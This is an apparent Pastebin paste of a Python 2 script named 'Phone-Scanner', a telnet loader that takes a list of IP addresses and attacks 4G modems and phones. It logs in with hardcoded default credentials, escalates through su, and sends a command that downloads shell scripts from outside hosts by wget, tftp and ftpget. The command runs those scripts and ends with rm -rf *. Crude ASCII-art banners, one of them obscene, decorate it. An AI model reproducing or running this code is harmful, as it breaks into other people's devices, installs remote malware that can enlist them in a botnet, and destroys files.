ZucoCheezy

Phone-Scanner

Nov 30th, 2018
308
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.40 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. import threading
  4. import sys
  5. import os
  6. import random
  7. import socket
  8. import re
  9. import time
  10. from random import *
  11.  
  12. os.system('clear')
  13.  
  14. class color:
  15.    PURPLE = '\033[95m'
  16.    CYAN = '\033[96m'
  17.    DARKCYAN = '\033[36m'
  18.    BLUE = '\033[94m'
  19.    GREEN = '\033[92m'
  20.    YELLOW = '\033[93m'
  21.    RED = '\033[91m'
  22.    BOLD = '\033[1m'
  23.    UNDERLINE = '\033[4m'
  24.    END = '\033[0m'
  25.    HEADER = '\033[95m'
  26.    OKBLUE = '\033[94m'
  27.    OKGREEN = '\033[92m'
  28.    WARNING = '\033[93m'
  29.    FAIL = '\033[91m'
  30.  
  31.  
  32. def banner():
  33.     kelinci = color.HEADER+'''
  34.       ***
  35.      ** **
  36.     **   **
  37.     **   **         ****
  38.     **   **       **   ****
  39.     **  **       *   **   **
  40.      **  *      *  **  ***  **
  41.       **  *    *  **     **  *
  42.        ** **  ** **        **
  43.        **   **  **
  44.       *           *
  45.      *             *
  46.     *    0     0    *
  47.     *   /   @   \  *
  48.     *   \__/ \__/   *
  49.       *     W     *
  50.         **     **
  51.           *****
  52. '''
  53.    
  54.     skull = color.FAIL+'''
  55.                     ..:::::::::..
  56.                ..:::aad8888888baa:::..
  57.             .::::d:?88888888888?::8b::::.
  58.           .:::d8888:?88888888??a888888b:::.
  59.         .:::d8888888a8888888aa8888888888b:::.
  60.        ::::dP::::::::88888888888::::::::Yb::::
  61.       ::::dP:::::::::Y888888888P:::::::::Yb::::
  62.      ::::d8:::::::::::Y8888888P:::::::::::8b::::
  63.     .::::88::::::::::::Y88888P::::::::::::88::::.
  64.     :::::Y8baaaaaaaaaa88P:T:Y88aaaaaaaaaad8P:::::
  65.     :::::::Y88888888888P::|::Y88888888888P:::::::
  66.     ::::::::::::::::888:::|:::888::::::::::::::::
  67.     `:::::::::::::::8888888888888b::::::::::::::'
  68.      :::::::::::::::88888888888888::::::::::::::
  69.       :::::::::::::d88888888888888:::::::::::::
  70.        ::::::::::::88::88::88:::88::::::::::::
  71.         `::::::::::88::88::88:::88::::::::::'
  72.           `::::::::88::88::P::::88::::::::'
  73.             `::::::88::88:::::::88::::::'
  74.                ``:::::::::::::::::::''
  75.                     ``:::::::::''
  76. '''
  77.  
  78.  
  79.     awp = color.END+'''
  80.               _________                   _______
  81.     _-----____/   ========================|______|
  82.     |           ______________/
  83.     |    ___--_/(_)       ^
  84.     |___ ---
  85. '''
  86.  
  87.  
  88.     tangkurak = color.DARKCYAN+'''
  89.      @@@@@                                        @@@@@
  90.     @@@@@@@                                      @@@@@@@
  91.     @@@@@@@           @@@@@@@@@@@@@@@            @@@@@@@
  92.      @@@@@@@@       @@@@@@@@@@@@@@@@@@@        @@@@@@@@
  93.          @@@@@     @@@@@@@@@@@@@@@@@@@@@     @@@@@
  94.            @@@@@  @@@@@@@@@@@@@@@@@@@@@@@  @@@@@
  95.              @@  @@@@@@@@@@@@@@@@@@@@@@@@@  @@
  96.                 @@@@@@@    @@@@@@    @@@@@@
  97.                 @@@@@@      @@@@      @@@@@
  98.                 @@@@@@      @@@@      @@@@@
  99.                  @@@@@@    @@@@@@    @@@@@
  100.                   @@@@@@@@@@@  @@@@@@@@@@
  101.                    @@@@@@@@@@  @@@@@@@@@
  102.                 @@   @@@@@@@@@@@@@@@@@   @@
  103.                @@@@  @@@@ @ @ @ @ @@@@  @@@@
  104.               @@@@@   @@@ @ @ @ @ @@@   @@@@@
  105.             @@@@@      @@@@@@@@@@@@@      @@@@@
  106.           @@@@          @@@@@@@@@@@          @@@@
  107.        @@@@@              @@@@@@@              @@@@@
  108.       @@@@@@@                                 @@@@@@@
  109.        @@@@@                                   @@@@@
  110. '''
  111.  
  112.  
  113.     dick = color.YELLOW+'''
  114.              .======.
  115.              | ZEEB |
  116.              |      |
  117.              |      |
  118.     .========'      '========.
  119.     |   _      xxxx      _   |
  120.     |  /_;-.__ / _\ _.-;_\ |
  121.     |     `-._`'`_/'`.-'     |
  122.     '========.`\  /`========'
  123.              | |  / |
  124.              |/-.(  |
  125.              |\_._\ |
  126.              | \ \`;|
  127.              |  > |/|
  128.              | / // |
  129.              | |//  |
  130.              | \(\ |
  131.              |  ``  |
  132.              |      |
  133.              |      |
  134.              |      |
  135.              |      |
  136.  \\ _  _  _\\| \//  |//_   _ \// _
  137. ^ `^`^ ^`` `^ ^` ``^^`  `^^` `^ `^
  138. '''
  139.  
  140.  
  141.     headers = [kelinci, dick, tangkurak, skull, awp]
  142.     print headers[randint(0,4)]
  143.  
  144.  
  145.  
  146. banner()
  147. if len(sys.argv) < 2:
  148.         print color.WARNING+"[ Usage: "+color.RED+"python "+sys.argv[0]+" <list> "+color.WARNING+"]"
  149.         sys.exit()
  150.  
  151. ips = open(sys.argv[1], "r").readlines()
  152. usernames = ["root", "admin", "root", "root"]
  153. passwords = ["oelinux123", "admin", "Zte521", "vizxv"]
  154. cmd = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://1.1.1.1/SSF.sh; chmod 777 bins.sh; sh SSF.sh; tftp 1.1.1.1 -c get tftp11.sh; chmod 777 tftp11.sh; sh tftp1.sh; tftp -r tftp22.sh -g 1.1.1.1; chmod 777 tftp22.sh; sh tftp22.sh; ftpget -v -u anonymous -p anonymous -P 21 104.131.21.101 ftp11.sh ftp11.sh; sh ftp11.sh; rm -rf SSF.sh tftp11.sh tftp22.sh ftp11.sh; rm -rf *"
  155. count = 0
  156.  
  157. def readUntil(tn, string, timeout=15):
  158.     buf = ''
  159.     start_time = time.time()
  160.     while time.time() - start_time < timeout:
  161.         buf += tn.recv(1024)
  162.         time.sleep(0.01)
  163.         if string in buf: return buf
  164.     raise Exception('ATTEMPTING')
  165.  
  166. class hackify(threading.Thread):
  167.         def __init__ (self, ip):
  168.         threading.Thread.__init__(self)
  169.         self.ip = str(ip).rstrip('\n')
  170.         def run(self):
  171.         try:
  172.             tn = socket.socket()
  173.             tn.settimeout(8)
  174.             tn.connect((self.ip,23))
  175.         except Exception:
  176.             tn.close()
  177.         try:
  178.             hoho = ''
  179.             hoho += readUntil(tn, ":")
  180.             if "mdm9625" in hoho: #non-root
  181.                 r00t = 0
  182.                 username = usernames[1]
  183.                 password = passwords[1]
  184.                 tn.send(username + "\n")
  185.                 print "[%s] sending non-root user"%(self.ip)
  186.             elif "9615-cdp" in hoho: #root
  187.                 r00t = 1
  188.                 username = usernames[0]
  189.                 password = passwords[0]
  190.                 tn.send(username + "\n")
  191.                 #print "[%s] sending root user"%(self.ip)
  192.         except Exception:
  193.             tn.close()
  194.         try:
  195.             hoho = ''
  196.             hoho += readUntil(tn, "Password:")
  197.             if "assword" in hoho:
  198.                 tn.send(password + "\n")
  199.                 #if r00t: print "[%s] sending root password"%(self.ip)
  200.                 #if not r00t: print "[%s] sending non-root password"%(self.ip)
  201.                 time.sleep(3)
  202.         except Exception:
  203.             tn.close()
  204.         try:
  205.             mp = ''
  206.             mp += tn.recv(1024)
  207.             if "#" in mp or "$" in mp:
  208.                 if r00t: tn.send(cmd + "\n"); print color.OKGREEN+"Payload runned succesfully %s!"%(self.ip); time.sleep(10); tn.close()
  209.                 if not r00t: tn.send("su" + "\n"); readUntil(tn, "Password:"); tn.send(passwords[0] + "\n"); time.sleep(1); tn.send(cmd + "\n"); print color.OKGREEN+"Payload runned succesfully %s!"%(self.ip); time.sleep(10); tn.close()
  210.         except Exception:
  211.             print color.RED+"[%s] ATTEMPTING 4G PHONE"%(count)
  212.             tn.close()
  213.  
  214. print "Total IPs: %s\n"%(len(ips))
  215. for ip in ips:
  216.         try:
  217.         count += 1
  218.         t = hackify(ip)
  219.         t.start()
  220.         time.sleep(0.01)
  221.         except:
  222.             pass
Advertisement
Add Comment
Please, Sign In to add comment